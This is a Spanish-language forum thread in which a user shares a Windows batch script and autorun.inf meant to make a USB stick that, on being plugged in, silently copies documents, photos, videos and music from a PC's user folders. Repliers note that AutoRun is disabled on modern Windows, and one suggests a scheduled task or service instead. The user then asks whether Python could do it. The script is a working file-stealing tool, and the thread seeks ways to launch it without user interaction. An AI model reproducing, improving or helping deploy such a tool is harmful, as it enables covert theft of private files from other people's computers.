Lo estoy intentando hacer un USB autoejecutable que solamente al conectar el USB me copie los de la PC a la que esta conectada, para eso hice el programa bat:
@echo off
IF EXIST ".\cosas\"%USERNAME% MD ".\berta\"%USERNAME%
cd ".\berta\
for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Videos\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Music\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
pause
EXIT
El archivo funciona, pero necessito que se ejecute automáticamente, para ello hice el archivo autorun.inf:
[Autorun]
open = guardar.bat
Quito el USB y lo vuelvo a poner y en teoría me tendría que salir el programa bat ejecutándose pero no hace eso, y no se cual es el problema, ya que en YouTube cuando lo veo, parece funcionar.
Gracias
P.D: Lo probé conviertiendo el .bat en .exe y tampoco funciona.
Hola,
¿Bajo que SO lo estás intentando ejecutar?
Porque si es de Windows Vista hacia arriba estás perdiendo el tiempo... Eso era una vulnerabilidad muy grande de Windows XP y que luego corrigieron con sistemas operativos más modernos.
Saludos,
Hola, como te comenta el compañero, en los SO actuales el "Autorun" está desabilitado, no pierdas el tiempo.
Saludos.
Ok gracias, mi sistema operativo es Windows 10 pro, se puede hacer de otra forma? El autoejecutable. O con algún tipo de lenguaje de programacion.
Hola,
Pues se me ocurre que puedes programar una 'tarea programada' para que ejecute ese .bat o crear un servicio. Hay mucha info al respecto.
Saludos,
Cita de: bettu en 23 Julio 2018, 20:17 PM
Hola,
Pues se me ocurre que puedes programar una 'tarea programada' para que ejecute ese .bat o crear un servicio. Hay mucha info al respecto.
Saludos,
Con que lenguaje podría hacerlo? Con python se puede hacer un USB autoarrancable?